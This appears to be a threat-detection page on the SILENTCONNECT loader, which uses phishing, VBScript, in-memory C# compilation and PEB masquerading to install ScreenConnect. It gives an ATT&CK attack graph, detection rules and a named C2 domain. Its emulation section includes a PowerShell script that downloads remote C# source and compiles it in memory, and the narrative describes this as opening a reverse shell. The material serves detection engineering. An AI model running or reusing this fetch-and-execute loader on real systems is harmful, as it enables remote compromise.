From Invitation to Infection: How SILENTCONNECT Delivers ScreenConnect
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
The report outlines a multi-stage loader named SILENTCONNECT that relies on a VBScript dropper, in-memory PowerShell compilation of C# code, and PEB masquerading to quietly deploy the ConnectWise ScreenConnect remote management tool. The attack begins with a phishing email that sends victims through a Cloudflare Turnstile CAPTCHA page before serving the VBScript payload. That script retrieves a C# component from Google Drive, compiles it in memory, and then downloads a ScreenConnect MSI from a malicious domain to establish persistence as a Windows service. The campaign blends trusted hosting services with living-off-the-land binaries to reduce its detection footprint.
Investigation
Elastic Security Labs identified a chain of unusual Windows Script alerts that ultimately exposed the E-INVITE.vbs file hosted on Cloudflare R2. Analysis showed the script launching a PowerShell command that called curl.exe to fetch a C# source file from Google Drive, which was then compiled and executed directly in memory. The loader used NtAllocateVirtualMemory to reserve executable memory, applied PEB masquerading, and inserted a Windows Defender exclusion before downloading the ScreenConnect installer with curl and executing it through msiexec. Network telemetry revealed the deployed client reaching a C2 endpoint at bumptobabeco.top over TCP port 8041.
Mitigation
Security teams should watch for suspicious PowerShell command lines invoking curl.exe, creation of temporary folders under C:\Temp, and unusual Add-Type compilation of downloaded C# source code. Detection logic should also account for PEB masquerading by flagging processes whose BaseDLLName or FullDllName values do not match the real module path. Outbound traffic to unfamiliar domains hosting MSI installers should be blocked or heavily scrutinized, and msiexec execution should be tightly controlled for non-trusted sources. Windows Defender exclusions must only be applied through approved administrative workflows.
Response
If these indicators are observed, immediately isolate the affected host, kill the malicious process, and remove the installed ScreenConnect service. Collect forensic evidence including temporary files, the compiled .NET assembly, and any dropped MSI packages. Revert any unauthorized Windows Defender exclusions and restore UAC settings if they were changed. Then hunt across the wider environment for matching loader artifacts and refresh detection content with all newly identified IOCs.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ccffcc classDef malware fill:#ffdddd %% Nodes action_phishing["<b>Action</b> – <b>Technique</b>: T1566 Phishing<br/><b>Description</b>: Spearphishing email delivers malicious content."] class action_phishing action action_user_click["<b>Action</b> – User clicks malicious link to Cloudflare Turnstile page."] class action_user_click action malware_vbscript["<b>Malware</b> – VBScript file<br/><b>Technique</b>: T1059.005 Visual Basic<br/><b>Description</b>: Executes Visual Basic script to launch further code."] class malware_vbscript malware tool_powershell["<b>Tool</b> – PowerShell<br/><b>Technique</b>: T1059.001 PowerShell<br/><b>Description</b>: Runs PowerShell commands for system control."] class tool_powershell tool tool_curl["<b>Tool</b> – Curl<br/><b>Technique</b>: T1570 Lateral Tool Transfer<br/><b>Description</b>: Retrieves files from remote storage (Google Drive)."] class tool_curl tool malware_compile["<b>Malware</b> – Inu2011memory C# compilation<br/><b>Technique</b>: T1027.004 Compile After Delivery<br/><b>Description</b>: Compiles C# source directly in memory."] class malware_compile malware process_injection["<b>Process</b> – NtAllocateVirtualMemory<br/><b>Technique</b>: T1055.002 Process Injection<br/><b>Description</b>: Allocates memory in a target process for payload injection."] class process_injection process malware_peb["<b>Malware</b> – PEB Masquerading<br/><b>Technique</b>: T1036.011 Masquerading<br/><b>Description</b>: Overwrites BaseDLLName to appear as winhlp32.exe."] class malware_peb malware tool_cmstp["<b>Tool</b> – CMSTP<br/><b>Technique</b>: T1218.003 System Binary Proxy Execution CMSTP<br/><b>Description</b>: Uses CMSTP COM interface to bypass UAC."] class tool_cmstp tool action_defender_exclusion["<b>Action</b> – <b>Technique</b>: T1564.012 File Path Exclusions<br/><b>Description</b>: Adds Microsoft Defender exclusion for malicious executable."] class action_defender_exclusion action tool_screenconnect_msi["<b>Tool</b> – ScreenConnect MSI<br/><b>Technique</b>: T1570 Lateral Tool Transfer<br/><b>Description</b>: Downloads remote administration installer."] class tool_screenconnect_msi tool tool_msiexec["<b>Tool</b> – Msiexec<br/><b>Technique</b>: T1547.010 Boot Logon Autostart Execution Port Monitors<br/><b>Description</b>: Performs silent installation of ScreenConnect service."] class tool_msiexec tool malware_screenconnect["<b>Malware</b> – ScreenConnect Service<br/><b>Technique</b>: T1219 Remote Access Tools<br/><b>Description</b>: Persists on system and connects to command and control."] class malware_screenconnect malware %% Connections action_phishing –>|leads_to| action_user_click action_user_click –>|downloads| malware_vbscript malware_vbscript –>|launches| tool_powershell tool_powershell –>|uses| tool_curl tool_curl –>|fetches source for| malware_compile malware_compile –>|loads into| process_injection process_injection –>|enables| malware_peb malware_peb –>|enables| tool_cmstp tool_cmstp –>|triggers| action_defender_exclusion action_defender_exclusion –>|downloads| tool_screenconnect_msi tool_screenconnect_msi –>|installs via| tool_msiexec tool_msiexec –>|creates| malware_screenconnect "
Attack Flow
Detections
Possible Google Drive Phishing (via proxy)
View
Possible Data Infiltration / Exfiltration / C2 via Third Party Services / Tools (via dns)
View
Possible Powershell Script Containing Lolbin (via powershell)
View
Possible LOLBAS Chain (via cmdline)
View
MsiExec Spawned by Shell Process (via cmdline)
View
Possible Initial Access By Phishing With File Extensions As TLD (via dns)
View
Possible Command and Control Activity by Remote Access Software Domain Communication Attempt (via dns)
View
Google Drive Domain Was Resolved By Suspicious Process (via dns_query)
View
Suspicious Command and Control by Unusual Top Level Domain (TLD) DNS Request (via dns)
View
Suspicious CURL Usage (via cmdline)
View
Possible Msiexec Executing Files In Uncommon Directory (via cmdline)
View
IOCs (HashSha256) to detect: From Invitation to Infection: How SILENTCONNECT Delivers ScreenConnect
View
IOCs (Emails) to detect: From Invitation to Infection: How SILENTCONNECT Delivers ScreenConnect
View
IOCs (SourceIP) to detect: From Invitation to Infection: How SILENTCONNECT Delivers ScreenConnect
View
IOCs (DestinationIP) to detect: From Invitation to Infection: How SILENTCONNECT Delivers ScreenConnect
View
Suspicious PowerShell Execution with C# Payload Download and Execution [Windows Powershell]
View
Detection of SILENTCONNECT ScreenConnect Installer Download and Execution [Windows Process Creation]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.
-
Attack Narrative & Commands:
- Initial Recon & Payload Retrieval – The attacker hosts a malicious C# source file on Google Drive. Using PowerShell, they download the raw file via
Invoke-WebRequest. - In‑Memory Compilation – The downloaded C# source is compiled directly in memory with
Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $src. - Execution – The resulting .NET type is instantiated and its
Run()method is invoked, establishing a reverse shell. - Obfuscation – The command line is launched with
-ExecutionPolicy Bypassto avoid policy blocks, matching the exact strings the rule watches.
- Initial Recon & Payload Retrieval – The attacker hosts a malicious C# source file on Google Drive. Using PowerShell, they download the raw file via
-
Regression Test Script:
# ------------------------------------------------- # Simulated adversary script – triggers Sigma rule # ------------------------------------------------- # 1. Define the remote C# payload URL (Google Drive share link) $payloadUrl = "https://drive.google.com/uc?export=download&id=YOUR_FILE_ID" # 2. Download the C# source into a variable $csharpSource = Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing | Select-Object -ExpandProperty Content # 3. Compile and load the payload in-memory Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $csharpSource -Language CSharp # 4. Execute the payload (assumes class named "Payload" with static method "Run") # ------------------------------------------------- -
Cleanup Commands:
# Remove any temporary files (none created) and unload the in‑memory assembly # PowerShell does not provide a direct unload; terminate the process if needed Stop-Process -Id $PID -Force